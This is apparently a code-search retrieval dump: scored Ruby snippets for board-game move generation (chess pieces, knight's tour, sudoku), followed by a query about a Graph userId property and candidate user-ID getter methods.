"docid": "cad6efd69a5c91019b2c26e0e839fef9",
"score": "0.6413658",
"text": "def moves\n [[(-2*(Math.cos(@angle*Math::PI/180))).to_i,-2],[(-3*(Math.cos(@angle*Math::PI/180))).to_i,-3],[(-4*(Math.cos(@angle*Math::PI/180))).to_i,-4],[(2*(Math.cos(@angle*Math::PI/180))).to_i,2],[(3*(Math.cos(@angle*Math::PI/180))).to_i,3],[(4*(Math.cos(@angle*Math::PI/180))).to_i,4],[-2,(2*(Math.cos(@angle*Math::PI/180))).to_i],[-3,(3*(Math.cos(@angle*Math::PI/180))).to_i],[-4,(4*(Math.cos(@angle*Math::PI/180))).to_i],[2,(-2*(Math.cos(@angle*Math::PI/180))).to_i], [3,(-3*(Math.cos(@angle*Math::PI/180))).to_i],[4,(-4*(Math.cos(@angle*Math::PI/180))).to_i]]\n end",
"title": ""
},
{
"docid": "73a4be1a15997d34045085eeb980feb4",
"score": "0.6409293",
"text": "def moves\n #byebug\n # potential_moves = []\n # valid_moves = []\n # STRAIGHT.each do |diff|\n # x, y = diff\n # potential_moves << [x + position[0], y + position[1]]\n # end\n #\n # until potential_moves.empty?\n # byebug\n # x, y = potential_moves.shift\n # tested_move = [grow_unblocked_moves_in_dir(x, y)]\n # valid_moves += tested_move unless tested_move.nil?\n # potential_moves += tested_move unless tested_move == [nil]\n # end\n # valid_moves\n\n end",
"title": ""
},
{
"docid": "3c4f422df2ee65b45a4e6314ae10ec0c",
"score": "0.64010817",
"text": "def possible_moves\n moves = []\n\n @directions.each do |direction|\n move = position\n loop do\n move = [direction[0] + move[0], direction[1] + move[1]]\n break if !@board.in_bounds?(move) || @board[move].color == color\n moves << move\n break unless @board.empty?(move)\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "7e2eb48be478e9104ee824320200f2bb",
"score": "0.6397461",
"text": "def board_regions(board)\n checkable = []\n columns = []\n 9.times {|x| columns << []}\n board.each do |row| \n checkable << row\n 9.times do |column_element|\n columns[column_element] << row[column_element]\n end\n end\n columns.each {|column| checkable << column}\n 3.times do |x|\n 3.times do |y|\n checkable << board[3 * x][(3*y)..(3 * y + 2)] + board[3 * x + 1][(3*y)..(3 * y + 2)] + board[3 * x + 2][(3*y)..(3 * y + 2)]\n end\n end\n p checkable\nend",
"title": ""
},
{
"docid": "2e056fe9ec3ccc0bd9c90e5692413404",
"score": "0.63888633",
"text": "def get_moves(pieces)\n\t\tarrPos = []\n\t\tupRight, upLeft, downRight, downLeft = true, true, true, true\n\t\tfor i in 1..7\n\t\t\tupRight = false if square_is_taken?(pieces, [@xCord + i, @yCord + i])\n\t\t\tupLeft = false if square_is_taken?(pieces, [@xCord - i, @yCord + i])\n\t\t\tdownRight = false if square_is_taken?(pieces, [@xCord + i, @yCord - i])\n\t\t\tdownLeft = false if square_is_taken?(pieces, [@xCord - i, @yCord - i])\n\t\t\tarrPos << [@xCord + i, @yCord + i] if upRight\n\t\t\tarrPos << [@xCord - i, @yCord + i] if upLeft\n\t\t\tarrPos << [@xCord + i, @yCord - i] if downRight\n\t\t\tarrPos << [@xCord - i, @yCord - i] if downLeft\n\t\tend\n\t\tarrPos\n\tend",
"title": ""
},
{
"docid": "2e056fe9ec3ccc0bd9c90e5692413404",
"score": "0.63888633",
"text": "def get_moves(pieces)\n\t\tarrPos = []\n\t\tupRight, upLeft, downRight, downLeft = true, true, true, true\n\t\tfor i in 1..7\n\t\t\tupRight = false if square_is_taken?(pieces, [@xCord + i, @yCord + i])\n\t\t\tupLeft = false if square_is_taken?(pieces, [@xCord - i, @yCord + i])\n\t\t\tdownRight = false if square_is_taken?(pieces, [@xCord + i, @yCord - i])\n\t\t\tdownLeft = false if square_is_taken?(pieces, [@xCord - i, @yCord - i])\n\t\t\tarrPos << [@xCord + i, @yCord + i] if upRight\n\t\t\tarrPos << [@xCord - i, @yCord + i] if upLeft\n\t\t\tarrPos << [@xCord + i, @yCord - i] if downRight\n\t\t\tarrPos << [@xCord - i, @yCord - i] if downLeft\n\t\tend\n\t\tarrPos\n\tend",
"title": ""
},
{
"docid": "14a4d4ad229716eea9fb18dd0db111a3",
"score": "0.63835114",
"text": "def right_moves(row, column)\n moves = []\n column += 1\n until column > 7\n moves << [row, column]\n column += 1\n end\n moves\n end",
"title": ""
},
{
"docid": "6b1ced85cf0c4a33d27187b40ab762c1",
"score": "0.6383222",
"text": "def get_moves(pieces)\n\t\tarrPos = []\n\t\tfor coordinate_pair in [ [@xCord+1, @yCord+1], [@xCord-1, @yCord-1], [@xCord-1, @yCord+1], [@xCord+1, @yCord-1], [@xCord, @yCord+1], [@xCord, @yCord-1], [@xCord+1, @yCord], [@xCord-1, @yCord] ]\n\t\t\tarrPos << coordinate_pair if square_is_open?(pieces, coordinate_pair)\n\t\tend\n\t\tarrPos\n\tend",
"title": ""
},
{
"docid": "6b1ced85cf0c4a33d27187b40ab762c1",
"score": "0.6383222",
"text": "def get_moves(pieces)\n\t\tarrPos = []\n\t\tfor coordinate_pair in [ [@xCord+1, @yCord+1], [@xCord-1, @yCord-1], [@xCord-1, @yCord+1], [@xCord+1, @yCord-1], [@xCord, @yCord+1], [@xCord, @yCord-1], [@xCord+1, @yCord], [@xCord-1, @yCord] ]\n\t\t\tarrPos << coordinate_pair if square_is_open?(pieces, coordinate_pair)\n\t\tend\n\t\tarrPos\n\tend",
"title": ""
},
{
"docid": "d6f18e83073fca4ecc68fc46026238b4",
"score": "0.63819766",
"text": "def white_pawn_moves(row, column)\n moves = []\n moves << [row + 1, column]\n moves << [row + 2, column] unless @moved\n moves << [row + 1, column - 1]\n moves << [row + 1, column + 1]\n moves\n end",
"title": ""
},
{
"docid": "27c37d600dee212d6d1d3997dae90ec6",
"score": "0.6380409",
"text": "def get_moves\n moves = []\n\n get_empty_squares.each do |square|\n get_moves_at(square[:row], square[:col]).each do |move|\n moves << { :empty_square => square, :peg_squares => move }\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "02b921cb259ebd32969e2a225888d377",
"score": "0.6372639",
"text": "def get_moves(pieces)\n\t\tarrPos = []\n\t\tfor coordinate_pair in [[@xCord + 2, @yCord + 1], [@xCord + 2, @yCord - 1], [@xCord - 2, @yCord + 1], [@xCord - 2, @yCord - 1], [@xCord - 1, @yCord + 2], [@xCord - 1, @yCord - 2], [@xCord + 1, @yCord - 2], [@xCord + 1, @yCord + 2]]\n\t\tarrPos << coordinate_pair if square_is_open?(pieces, coordinate_pair)\n\t\tend\n\t\treturn arrPos\n\tend",
"title": ""
},
{
"docid": "02b921cb259ebd32969e2a225888d377",
"score": "0.6372639",
"text": "def get_moves(pieces)\n\t\tarrPos = []\n\t\tfor coordinate_pair in [[@xCord + 2, @yCord + 1], [@xCord + 2, @yCord - 1], [@xCord - 2, @yCord + 1], [@xCord - 2, @yCord - 1], [@xCord - 1, @yCord + 2], [@xCord - 1, @yCord - 2], [@xCord + 1, @yCord - 2], [@xCord + 1, @yCord + 2]]\n\t\tarrPos << coordinate_pair if square_is_open?(pieces, coordinate_pair)\n\t\tend\n\t\treturn arrPos\n\tend",
"title": ""
},
{
"docid": "29ed81585fa7e13952132f9b45483171",
"score": "0.6365984",
"text": "def make_2d_coords(move)\n array = []\n array[0] = move/4\n array[1] = move%4\n array\n end",
"title": ""
},
{
"docid": "4b31a2bc842a161d672c8c2d4f297716",
"score": "0.6360879",
"text": "def create_board\n squares = []\n 8.times do |i|\n column = []\n 8.times do |j|\n column << Square.new(i, j)\n end\n squares << column\n end\n \n offsets = [-2, -1, 1, 2]\n range = (0..7)\n \n squares.each do |column|\n column.each do |square|\n offsets.each do |i|\n offsets.each do |j|\n if (i*j).abs == 2\n other_x = square.x + i\n other_y = square.y + j\n if (range === other_x && range === other_y)\n square.links << squares[other_x][other_y]\n end\n end\n end\n end\n end\n end\n \n squares\nend",
"title": ""
},
{
"docid": "38a0ce18e31230c9eac67216a695e7d4",
"score": "0.6357437",
"text": "def get_moves(position, board, positions)\n\t\t@position = position\n\t\t@moves = Array.new\n\t\tx = @position[0] + 1\n\t\ty = @position[1]\n\t\tcontinue = true\n\t\tuntil x > 8 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx += 1\n\t\tend\n\t\tx = @position[0] - 1\n\t\tcontinue = true\n\t\tuntil x < 1 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx -= 1\t\t\t\n\t\tend\n\t\tx = @position[0]\n\t\ty = @position[1] + 1\n\t\tcontinue = true\n\t\tuntil y > 8 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\ty += 1 \n\t\tend\n\t\ty = @position[1] - 1\n\t\tcontinue = true\n\t\tuntil y < 1 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\ty -= 1\n\t\tend\t\n\tend",
"title": ""
},
{
"docid": "e0e32e3fa42d21f003b6c2c91cc2feaa",
"score": "0.63526696",
"text": "def possible_moves\n moves = []\n\n @data.each_with_index do |row, y|\n row.each_with_index do |e, x|\n moves << [y, x] if e.nil?\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "c0e28112f96c58798948ba3bd9d836dd",
"score": "0.6350566",
"text": "def moves\n place = []\n\n\n end",
"title": ""
},
{
"docid": "96d887f3166f58c9d30d19a7639d696f",
"score": "0.63492966",
"text": "def moves \n available_moves = []\n\n if move_dirs.include?(:horizontal)\n HORIZONTAL_DIRS.each do |delta|\n dx, dy = delta #[0, 1]\n horizontal_moves = grow_unblocked_moves_in_dir(dx, dy) # [0,2]\n available_moves.concat(horizontal_moves)\n end\n end\n\n if move_dirs.include?(:diagonal)\n DIAGONAL_DIRS.each do |delta|\n dx, dy = delta\n diagonal_moves = grow_unblocked_moves_in_dir(dx, dy)\n available_moves.concat(diagonal_moves)\n end\n end\n\n available_moves\n end",
"title": ""
},
{
"docid": "5cff0a922896eecac0220e4d3b604a84",
"score": "0.6348169",
"text": "def get_moves(position, board, positions)\n\t\t@position = position\n\t\t@moves = Array.new\n\t\t#From Rook\n\t\tx = @position[0] + 1\n\t\ty = @position[1]\n\t\tcontinue = true\n\t\tuntil x > 8 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx += 1\n\t\tend\n\t\tx = @position[0] - 1\n\t\tcontinue = true\n\t\tuntil x < 1 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx -= 1\t\t\t\n\t\tend\n\t\tx = @position[0]\n\t\ty = @position[1] + 1\n\t\tcontinue = true\n\t\tuntil y > 8 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\ty += 1 \n\t\tend\n\t\ty = @position[1] - 1\n\t\tcontinue = true\n\t\tuntil y < 1 or continue == false\n\t\t\tmove = [x,y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\ty -= 1\n\t\tend\n\t\t#From Bishop\n\t\tx = @position[0] + 1\n\t\ty = @position[1] + 1\n\t\tcontinue = true\n\t\tuntil x > 8 or y > 8 or continue == false\n\t\t\tmove = [x, y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx += 1\n\t\t\ty += 1\n\t\tend\n\t\tx = @position[0] + 1\n\t\ty = @position[1] - 1\t\n\t\tcontinue = true\t\n\t\tuntil x > 8 or y < 1 or continue == false\n\t\t\tmove = [x, y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx += 1\n\t\t\ty -= 1\n\t\tend\n\t\tx = @position[0] - 1\n\t\ty = @position[1] + 1\t\n\t\tcontinue = true\t\n\t\tuntil x < 1 or y > 8 or continue == false\n\t\t\tmove = [x, y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx -= 1\n\t\t\ty += 1\n\t\tend\n\t\tx = @position[0] - 1\n\t\ty = @position[1] - 1\n\t\tcontinue = true\t\n\t\tuntil x < 1 or y < 1 or continue == false\n\t\t\tmove = [x, y]\n\t\t\tcase valid_move(move, @color, board, positions)\n\t\t\twhen 'free'\n\t\t\t\t@moves << move\n\t\t\twhen 'capture'\n\t\t\t\t@moves << move\n\t\t\t\tcontinue = false\n\t\t\twhen 'friendly', 'out'\n\t\t\t\tcontinue = false\n\t\t\tend\n\t\t\tx -= 1\n\t\t\ty -= 1\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1a457e903fb177df1d670d219b78847e",
"score": "0.634042",
"text": "def threatened_locations\n create_moves.map { |move| [move[0] + row, move[1] + col] }\n end",
"title": ""
},
{
"docid": "f7830ad515dc57245b687e84a8b64876",
"score": "0.63395053",
"text": "def valid_moves(position)\r\n# position is a tuple, [x, y]\r\n x = position[0] # I could make position into a class/struct and add methods x and y\r\n y = position[1]\r\n #puts \"X = #{x}, Y = #{y}\"\r\n move = []\r\n move[0] = [x-1, y+2]\r\n move[1] = [x-2, y+1]\r\n move[2] = [x-2, y-1]\r\n move[3] = [x-1, y-2]\r\n move[4] = [x+1, y-2]\r\n move[5] = [x+2, y-1]\r\n move[6] = [x+2, y+1]\r\n move[7] = [x+1, y+2]\r\n result = []\r\n move.each do |pos| \r\n \tresult << pos if ( pos[0].between?(0, 7) && pos[1].between?(0,7) && $board[ [pos[0],pos[1]] ].visited == false) \r\n end\r\n result\r\nend",
"title": ""
},
{
"docid": "ef426aeee3c58f9674fdf09174e55e8c",
"score": "0.63355136",
"text": "def find_moves\n possibles = []\n possibles << [@x - 2, @y + 1] << [@x - 2, @y - 1] <<\n [@x + 2, @y - 1] << [@x + 2, @y + 1] <<\n [@x + 1, @y - 2] << [@x + 1, @y + 2] <<\n [@x - 1, @y - 2] << [@x - 1, @y + 2]\n # Checks if valid board square\n possibles.each do |x, y|\n added_square = Square.new(x, y, @parent)\n children << added_square if x <= 7 && x >= 0 && y <= 7 && y >= 0\n end\n end",
"title": ""
},
{
"docid": "d842c989d6a6b79ab51bc3e52c568851",
"score": "0.6328932",
"text": "def list_moves(location = @location, list = [])\n list.push(*horizontal(location[0]))\n list.push(*vertical(location[1]))\n list\n end",
"title": ""
},
{
"docid": "5ffdaa5e1a824eee68e0317725befe6a",
"score": "0.6328537",
"text": "def possible_capture_moves\n check_move = []\n x = @x - 1\n y = @y + 1 if @color == \"w\"\n y = @y - 1 if @color == \"b\"\n 2.times do\n if CONDITION.call(x,y)\n check_move << [x,y]\n x += 2\n end\n end\n check_move\n end",
"title": ""
},
{
"docid": "3d3f1d884e00e226399a6470cef7337a",
"score": "0.6324367",
"text": "def each_winning_move\n\t\t\n\t\tfor i in 0..2\n\t\t \tyield @board[i]\n\t\t \tyield [@board[0][i], @board[1][i], @board[2][i]]\n\t\tend\n\n\t\tyield [@board[0][0], @board[1][1], @board[2][2]]\n\t\tyield [@board[0][2], @board[1][1], @board[2][0]]\n\tend",
"title": ""
},
{
"docid": "3358aa00c66aa5d4f5453af75896e465",
"score": "0.63233316",
"text": "def possible_moves\n row = @location[0]\n column = @location[1]\n moves = []\n unless row == 7\n if @color == \"white\"\n moves = white_pawn_moves(row, column)\n else\n moves = black_pawn_moves(row, column)\n end\n end\n moves.select do |position|\n position.all? { |value| value.between?(0,7) }\n end\n end",
"title": ""
},
{
"docid": "6d2bb7f9477fc60bb7729c66fa958262",
"score": "0.6305253",
"text": "def theoretical_moves(start_row, start_column, board)\n moves = []#crazy logic going on here.\n\n if self.color == \"white\"\n moves << [[start_row + 1, start_column]] if board[start_row + 1][start_column].nil?\n if !moved? && board[start_row + 1][start_column].nil? && board[start_row + 2][start_column].nil?\n moves << [[start_row + 1, start_column], [start_row + 2, start_column]]\n end\n if !board[start_row + 1][start_column + 1].nil?\n moves << [[start_row + 1,start_column + 1]]\n elsif !board[start_row + 1][start_column - 1].nil?\n moves << [[start_row + 1][start_column - 1]]\n end\n\n elsif self.color == \"black\"\n moves << [[start_row - 1, start_column]] if board[start_row - 1][start_column].nil?\n if !moved? && board[start_row - 1][start_column].nil? && board[start_row - 2][start_column].nil?\n moves << [[start_row - 1, start_column], [start_row - 2, start_column]]\n end\n if !board[start_row - 1][start_column + 1].nil?\n moves << [[start_row - 1,start_column + 1]]\n elsif !board[start_row - 1][start_column - 1].nil?\n moves << [[start_row - 1][start_column - 1]]\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "91cfab857de11fbb6c386b4c423b56a6",
"score": "0.63023067",
"text": "def jump_moves(board)\n moves = jumper_helper(board) #array of squares that can be jumped\n jumps = []\n moves.each do |move|\n jump_piece = board[move[0]][move[1]]\n jumps = jump_piece.slide_moves(board, true)\n end\n jumps\n end",
"title": ""
},
{
"docid": "6e5f6aff86f48869042afde7bb50543b",
"score": "0.62941116",
"text": "def generate_horizontal_direction(axis, increment)\n result = []\n current_pos = self.pos.dup\n while @board.valid_pos?(current_pos)\n current_pos[axis] += increment\n result << current_pos\n end\n result\n end",
"title": ""
},
{
"docid": "0d4c50d777cdf6ed07a42e64b9387a2e",
"score": "0.6286152",
"text": "def cells\n positions = []\n width.times do |i| # 0 -> 5\n height.times do |j| # 0 -> 4\n positions << [\n top_pad + j,\n left_pad + i,\n ]\n end\n end\n positions\n end",
"title": ""
}
] |
0c05c44234bbbf9a45416bc41bf4ea95
|
Gets the userId property value. Calling user's ID in Graph. This and other user info will be null/empty for bot call types. GUID.
|
[
{
"docid": "48225f4ab282761b1bca769fa5e8721e",
"score": "0.6108655",
"text": "def user_id\n return @user_id\n end",
"title": ""
}
] |
[
{
"docid": "eda6c13a4bf703bc79fc26b59d1cd564",
"score": "0.6940079",
"text": "def get_userid()\r\n user_info = @context.call_myspace_api(:user_info, :v1_json => true)\r\n user_info['userId'].to_s\r\n end",
"title": ""
},
{
"docid": "f2ad9b284ca47da031117170ec943f03",
"score": "0.6864199",
"text": "def get_userid()\n user_info = call_myspace_api(:user_info, :v1_json => true)\n user_info['userId'].to_s\n end",
"title": ""
},
{
"docid": "ca7d7364f9e8879fefaec58f13331f5f",
"score": "0.67859244",
"text": "def user_id\n @message[:user][:id]\n end",
"title": ""
},
{
"docid": "cbb027def889747db7021eed93bfb27b",
"score": "0.67674994",
"text": "def user_id\n case @params.event\n when 'conversation_started', 'subscribed'\n @params.user.id\n when 'unsubscribed', 'delivered', 'seen', 'failed'\n @params.user_id\n when 'message'\n @params.sender.id\n else\n @params.dig(:user, :id)\n end\n end",
"title": ""
},
{
"docid": "91faf472aa1929514bee5da8c02b343b",
"score": "0.66035765",
"text": "def user_id\n unless @user_id.nil? || @user_id == 0\n @user_id\n else\n read_attribute(:user_id) # TODO: Might need to cache result\n end\n end",
"title": ""
},
{
"docid": "ab5c3856092e340100768eefaafdc8d8",
"score": "0.65866375",
"text": "def user_id\n @values.fetch('userId') { \n @values['userId'] = nil\n }\n end",
"title": ""
},
{
"docid": "15bac3dbf3453ef42d364105e9f15d54",
"score": "0.65478927",
"text": "def user_id\n @user_id ||= self.user ? self.user.to_global_id : nil\n end",
"title": ""
},
{
"docid": "7dc02faf441ee2f53a487b075aac7668",
"score": "0.6466112",
"text": "def id\n @data[:user_id]\n end",
"title": ""
},
{
"docid": "fcac40c9be7437e654087af53b72530b",
"score": "0.645187",
"text": "def user_id\n @raw['user']['id']\n end",
"title": ""
},
{
"docid": "ed7e795cedb30ac4b6680b01a88f2231",
"score": "0.63813156",
"text": "def uid\n return nil unless user_id\n user_id.split('/').first\n end",
"title": ""
},
{
"docid": "ed7e795cedb30ac4b6680b01a88f2231",
"score": "0.63813156",
"text": "def uid\n return nil unless user_id\n user_id.split('/').first\n end",
"title": ""
},
{
"docid": "a1a435d8b3e3e0389c080214b05bfe21",
"score": "0.6310868",
"text": "def user_id\n return nil unless success?\n\n @user_id\n end",
"title": ""
},
{
"docid": "7b43dd0c97c66c0369036a81cf44ffdc",
"score": "0.63019615",
"text": "def facebook_uid\n @json['uid']\n end",
"title": ""
},
{
"docid": "3aec84cdeac0242db7d7af505b6cede1",
"score": "0.6270464",
"text": "def current_user_id\n info['user']['id']\n end",
"title": ""
},
{
"docid": "fb7cce4be980c6d4a506bd3247bfa767",
"score": "0.6230032",
"text": "def user_id\n @current_user.id\n end",
"title": ""
},
{
"docid": "dfd9e1ace7a577294d52cde6b7025071",
"score": "0.6222375",
"text": "def get_user_guid\n user = @client.current_user\n user.guid\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "534dad6e19e1ce806529192c8042fe3a",
"score": "0.6212398",
"text": "def user_id\n @attributes[:user_id]\n end",
"title": ""
},
{
"docid": "8ca9634858302fd273e199665376f4fc",
"score": "0.62012976",
"text": "def user_id\n instance_variable_get(:@prepared_arguments).dig(:user_id)\n end",
"title": ""
},
{
"docid": "00d7184c80706bb4bb7a8be473bc48b5",
"score": "0.61644477",
"text": "def user_id\n if (id = (@opts[:user_id] || @opts['user_id'])) && id.respond_to?(:to_s)\n if (id = id.to_s).size > 0 && id != '0'\n return id\n end\n end\n end",
"title": ""
},
{
"docid": "15569be3437b9bd6a4ed90c9142b335d",
"score": "0.6131141",
"text": "def hubssolib_get_user_id\n user = self.hubssolib_current_user\n user ? user.user_id : nil\n end",
"title": ""
},
{
"docid": "42ae286cb180929caf5e037b13f419c3",
"score": "0.60994196",
"text": "def user_id\n payload = authenticate!(via: :jwt)\n return payload[\"user\"]\n end",
"title": ""
},
{
"docid": "9d33db608e2e01df9bed8d623b43b16e",
"score": "0.6042061",
"text": "def user_id\n raise \"Implement in Client or Advocate\"\n end",
"title": ""
},
{
"docid": "20647853cf9abc4094e183adc290b4e5",
"score": "0.59928757",
"text": "def user_id\n # The user id can't be handled by the method_missing magic from\n # OctocatHerder::Base, since the id method returns the object\n # id.\n @raw['id']\n end",
"title": ""
},
{
"docid": "c30e8452ecfec4b60791738744222bbb",
"score": "0.59683186",
"text": "def user_id\n @current_user.id if !@current_user.nil? && users.include?(@current_user)\n users.first.id\n end",
"title": ""
},
{
"docid": "635b3d5fdc4828704a5eb8858f68a23f",
"score": "0.5966641",
"text": "def user_id; @message_impl.getUserId; end",
"title": ""
},
{
"docid": "a25acc4f41a3be5937938328d6d6dd9b",
"score": "0.59262997",
"text": "def id_from_user(u)\n u.is_a?(Twitter::User) ? u.id : u\n end",
"title": ""
},
{
"docid": "490892cd44fa1dcee18f963160449f12",
"score": "0.5867261",
"text": "def user_id\n\t\t@user_id || nil\n\tend",
"title": ""
},
{
"docid": "435b9ab7e28c8c59c76ad9a17f08bc14",
"score": "0.5861997",
"text": "def get_user_id\n # TODO: #6. Complete the function to return your user id\n user_id = 'Put your user ID here'\n end",
"title": ""
},
{
"docid": "51e5d1ee85619be2eb4491a2ccc7b61b",
"score": "0.57917565",
"text": "def sender_user_id\n return @sender_user_id\n end",
"title": ""
},
{
"docid": "9463c1dd9c9aa5b050ae4c5337918b25",
"score": "0.5787379",
"text": "def user_id\n username\n end",
"title": ""
},
{
"docid": "6b5adccf27f641130d357a61d2c191c4",
"score": "0.5780152",
"text": "def user_id\n self.user.id unless user.nil?\n end",
"title": ""
},
{
"docid": "0bb9fabd9b69c67dfeef7cdb92b55457",
"score": "0.5737969",
"text": "def user_id\n user.id\n end",
"title": ""
},
{
"docid": "ac382f33ca97d099f7715c888b5c1bc9",
"score": "0.57364583",
"text": "def user_id=(value)\n if value == @defaults['userId']\n @values.delete 'userId' if @values.key? 'userId'\n else\n @values['userId'] = value\n end\n end",
"title": ""
},
{
"docid": "54bdf73ad911f90a41515ce2ab57e8d9",
"score": "0.5729859",
"text": "def user_id\n decoded_token.first['user_id']\n end",
"title": ""
},
{
"docid": "8cff7f68c4f086f1e02aec90642bf6c0",
"score": "0.56895906",
"text": "def azure_ad_user_id\n return @azure_ad_user_id\n end",
"title": ""
},
{
"docid": "0ae67e14decd564313febe905cd4a7be",
"score": "0.5670127",
"text": "def user_id(user)\n # noinspection RubyMismatchedReturnType\n user.is_a?(Integer) ? user : User.id_value(user)&.to_i\n end",
"title": ""
},
{
"docid": "0a6643923c8a22779a9aa8f80dee6498",
"score": "0.56481564",
"text": "def user_id\n config.present? ? config[:user_id] : ''\n end",
"title": ""
},
{
"docid": "be81e42570e0345dd6296933dd302fda",
"score": "0.5625959",
"text": "def get_bot_user_id\n 1.freeze\n end",
"title": ""
},
{
"docid": "ef59a1f534fab01c8442529fce8925c0",
"score": "0.562373",
"text": "def current_user_id(context = {})\n context[:cbac_user].to_i\n end",
"title": ""
},
{
"docid": "2cc74a88ae2b38555bc0b84d41c4494a",
"score": "0.5617428",
"text": "def user_id=(value)\n @user_id = value\n end",
"title": ""
},
{
"docid": "2cc74a88ae2b38555bc0b84d41c4494a",
"score": "0.5617428",
"text": "def user_id=(value)\n @user_id = value\n end",
"title": ""
},
{
"docid": "2cc74a88ae2b38555bc0b84d41c4494a",
"score": "0.5617428",
"text": "def user_id=(value)\n @user_id = value\n end",
"title": ""
},
{
"docid": "2cc74a88ae2b38555bc0b84d41c4494a",
"score": "0.5617428",
"text": "def user_id=(value)\n @user_id = value\n end",
"title": ""
},
{
"docid": "2cc74a88ae2b38555bc0b84d41c4494a",
"score": "0.5617428",
"text": "def user_id=(value)\n @user_id = value\n end",
"title": ""
},
{
"docid": "2cc74a88ae2b38555bc0b84d41c4494a",
"score": "0.5617428",
"text": "def user_id=(value)\n @user_id = value\n end",
"title": ""
},
{
"docid": "1ab7e5dc379c0a88910be0d8ebd0b07f",
"score": "0.5616417",
"text": "def id\r\n return @user.id\r\n end",
"title": ""
},
{
"docid": "0302628e655c84ab641869a62798aab6",
"score": "0.55959934",
